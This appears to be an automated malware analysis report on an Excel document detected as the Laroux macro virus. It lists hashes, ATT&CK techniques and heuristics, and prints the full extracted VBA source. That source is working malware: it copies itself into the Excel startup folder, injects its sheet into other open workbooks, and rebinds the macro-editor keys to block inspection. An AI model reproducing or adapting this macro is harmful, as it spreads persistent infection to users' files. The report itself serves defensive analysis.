Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d427591bcd562084…

MALICIOUS

Office (OLE)

29.5 KB Created: 2013-12-17 10:07:47 Authoring application: Microsoft Excel First seen: 2015-09-24
MD5: 6e6a0f4afef22c62838add431435b580 SHA-1: 7b42d4658a8fb252acaa71aa7bb0b7100a54544b SHA-256: d427591bcd5620841b1410b4bdc72b03918cd35e7bb08cffdc68a351f200c941
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file is an Office document containing VBA macros, specifically an Auto_Open macro. This macro attempts to copy itself to the Excel startup folder as 'StartUp.xls' to achieve persistence. It also manipulates application settings to hide its presence and potentially interfere with user actions. The ClamAV detection 'Doc.Macro.Laroux-5893719-0' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1904 bytes
SHA-256: a9eaac2a53b3b1241c0ee123984c1e209b92d1958c3639aad87eb5b06cc9cc02
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"

Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub escape()
On Error Resume Next
Application.OnSheetActivate = "StartUp.xls!back"
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
For Each book In Workbooks
Application.DisplayAlerts = False
If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
Next
For Each book In Workbooks
If book.name = "StartUp.xls" Then
book.Close
End If
Next
End Sub

On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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